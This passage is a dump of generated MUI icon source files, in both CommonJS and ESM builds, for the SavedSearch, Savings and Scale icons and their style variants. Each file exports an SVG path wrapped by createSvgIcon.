    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14m-2.17-1.5 2.14-1.53 2.14 1.53-.83-2.46 2.15-1.5h-2.62L9.47 6l-.84 2.54H6l2.14 1.49z\"\n}), 'SavedSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14m-2.17-1.5 2.14-1.53 2.14 1.53-.83-2.46 2.15-1.5h-2.62L9.47 6l-.84 2.54H6l2.14 1.49z\"\n}), 'SavedSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.73 13.31c1.13-1.55 1.63-3.58.98-5.74-.68-2.23-2.57-3.98-4.85-4.44-4.65-.93-8.66 3.09-7.72 7.73.46 2.29 2.21 4.18 4.44 4.85 2.16.65 4.19.15 5.74-.98l5.56 5.56c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.73 13.31c1.13-1.55 1.63-3.58.98-5.74-.68-2.23-2.57-3.98-4.85-4.44-4.65-.93-8.66 3.09-7.72 7.73.46 2.29 2.21 4.18 4.44 4.85 2.16.65 4.19.15 5.74-.98l5.56 5.56c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.29 8.44 9.5 6l-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59z\"\n}, \"1\")], 'SavedSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.5 6-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59h-2.46z\"\n}, \"1\")], 'SavedSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.73 13.31C15.52 12.24 16 10.93 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.43 0 2.74-.48 3.81-1.27L19.59 21 21 19.59zM9.5 14C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.5 6-.79 2.44H6.25l2.01 1.59-.77 2.47 2.01-1.53 2.01 1.53-.77-2.47 2.01-1.59h-2.46z\"\n}, \"1\")], 'SavedSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Savings.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.08-.18.12-.37.12-.58 0-.83-.67-1.5-1.5-1.5-1.64 0-3.09.79-4 2h-5C4.46 4 2 6.46 2 9.5S4.5 21 4.5 21H10v-2h2v2h5.5l1.68-5.59 2.82-.94V7.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Savings');"
  },
  {
    "path": "packages/mui-icons-material/lib/Savings.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.08-.18.12-.37.12-.58 0-.83-.67-1.5-1.5-1.5-1.64 0-3.09.79-4 2h-5C4.46 4 2 6.46 2 9.5S4.5 21 4.5 21H10v-2h2v2h5.5l1.68-5.59 2.82-.94V7.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Savings');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 10c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1M8 9h5V7H8zm14-1.5v6.97l-2.82.94L17.5 21H12v-2h-2v2H4.5S2 12.54 2 9.5 4.46 4 7.5 4h5c.91-1.21 2.36-2 4-2 .83 0 1.5.67 1.5 1.5 0 .21-.04.4-.12.58-.14.34-.26.73-.32 1.15l2.27 2.27zm-2 2h-1L15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82z\"\n}), 'SavingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 10c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1M8 9h5V7H8zm14-1.5v6.97l-2.82.94L17.5 21H12v-2h-2v2H4.5S2 12.54 2 9.5 4.46 4 7.5 4h5c.91-1.21 2.36-2 4-2 .83 0 1.5.67 1.5 1.5 0 .21-.04.4-.12.58-.14.34-.26.73-.32 1.15l2.27 2.27zm-2 2h-1L15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82z\"\n}), 'SavingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.11-.26.15-.56.09-.87-.13-.72-.83-1.22-1.57-1.21-1.59.03-3 .81-3.9 2h-5C4.46 4 2 6.46 2 9.5c0 2.25 1.37 7.48 2.08 10.04.24.86 1.03 1.46 1.93 1.46H8c1.1 0 2-.9 2-2h2c0 1.1.9 2 2 2h2.01c.88 0 1.66-.58 1.92-1.43l1.25-4.16 2.14-.72c.41-.14.68-.52.68-.95V8.5c0-.55-.45-1-1-1zM12 9H9c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m4 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SavingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.11-.26.15-.56.09-.87-.13-.72-.83-1.22-1.57-1.21-1.59.03-3 .81-3.9 2h-5C4.46 4 2 6.46 2 9.5c0 2.25 1.37 7.48 2.08 10.04.24.86 1.03 1.46 1.93 1.46H8c1.1 0 2-.9 2-2h2c0 1.1.9 2 2 2h2.01c.88 0 1.66-.58 1.92-1.43l1.25-4.16 2.14-.72c.41-.14.68-.52.68-.95V8.5c0-.55-.45-1-1-1zM12 9H9c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m4 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SavingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.23-.56.56-1.06.97-1.5-.7-.37-1.5-.58-2.35-.58-1.64 0-3.09.79-4 2h-5C4.46 4 2 6.46 2 9.5S4.5 21 4.5 21H10v-2h2v2h5.5l1.68-5.59 2.82-.94V7.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SavingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.83 7.5-2.27-2.27c.07-.42.18-.81.32-1.15.23-.56.56-1.06.97-1.5-.7-.37-1.5-.58-2.35-.58-1.64 0-3.09.79-4 2h-5C4.46 4 2 6.46 2 9.5S4.5 21 4.5 21H10v-2h2v2h5.5l1.68-5.59 2.82-.94V7.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SavingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.5 15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82V9.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 10c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1M8 9h5V7H8zm14-1.5v6.97l-2.82.94L17.5 21H12v-2h-2v2H4.5S2 12.54 2 9.5 4.46 4 7.5 4h5c.91-1.21 2.36-2 4-2 .83 0 1.5.67 1.5 1.5 0 .21-.04.4-.12.58-.14.34-.26.73-.32 1.15l2.27 2.27zm-2 2h-1L15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82z\"\n}, \"1\")], 'SavingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavingsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.5 15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82V9.5zM13 9H8V7h5zm3 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 10c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1M8 9h5V7H8zm14-1.5v6.97l-2.82.94L17.5 21H12v-2h-2v2H4.5S2 12.54 2 9.5 4.46 4 7.5 4h5c.91-1.21 2.36-2 4-2 .83 0 1.5.67 1.5 1.5 0 .21-.04.4-.12.58-.14.34-.26.73-.32 1.15l2.27 2.27zm-2 2h-1L15.5 6c0-.65.09-1.29.26-1.91-.97.25-1.76.97-2.09 1.91H7.5C5.57 6 4 7.57 4 9.5c0 1.88 1.22 6.65 2.01 9.5H8v-2h6v2h2.01l1.55-5.15 2.44-.82z\"\n}, \"1\")], 'SavingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scale.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m-2 11c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'Scale');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scale.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m-2 11c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'Scale');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m4.87-7C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4zM12 22c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'ScaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m4.87-7C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4zM12 22c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'ScaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 21c0 .55.45 1 1 1h3.43c.87 0 1.58-.75 1.5-1.62-.59-6.2-4.53-8.7-7.93-9.38V8c3.31-.42 6.03-1.86 7.27-3.73.65-.97-.12-2.27-1.29-2.27H4.02C2.85 2 2.08 3.3 2.73 4.27 3.97 6.14 6.69 7.58 10 8v3c-3.4.68-7.34 3.18-7.93 9.38-.08.87.63 1.62 1.5 1.62H7c.55 0 1-.45 1-1s-.45-1-1-1H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H17c-.55 0-1 .45-1 1m-4.5.94c-.7-.17-1.27-.74-1.44-1.44-.18-.74.06-1.44.53-1.91.55-.55 2.91-1.57 4.33-2.15.41-.17.82.24.65.65-.58 1.42-1.6 3.78-2.15 4.33-.47.46-1.17.7-1.92.52\"\n}), 'ScaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 21c0 .55.45 1 1 1h3.43c.87 0 1.58-.75 1.5-1.62-.59-6.2-4.53-8.7-7.93-9.38V8c3.31-.42 6.03-1.86 7.27-3.73.65-.97-.12-2.27-1.29-2.27H4.02C2.85 2 2.08 3.3 2.73 4.27 3.97 6.14 6.69 7.58 10 8v3c-3.4.68-7.34 3.18-7.93 9.38-.08.87.63 1.62 1.5 1.62H7c.55 0 1-.45 1-1s-.45-1-1-1H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H17c-.55 0-1 .45-1 1m-4.5.94c-.7-.17-1.27-.74-1.44-1.44-.18-.74.06-1.44.53-1.91.55-.55 2.91-1.57 4.33-2.15.41-.17.82.24.65.65-.58 1.42-1.6 3.78-2.15 4.33-.47.46-1.17.7-1.92.52\"\n}), 'ScaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m-2 11c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'ScaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m-2 11c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}), 'ScaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleTwoTone.js",
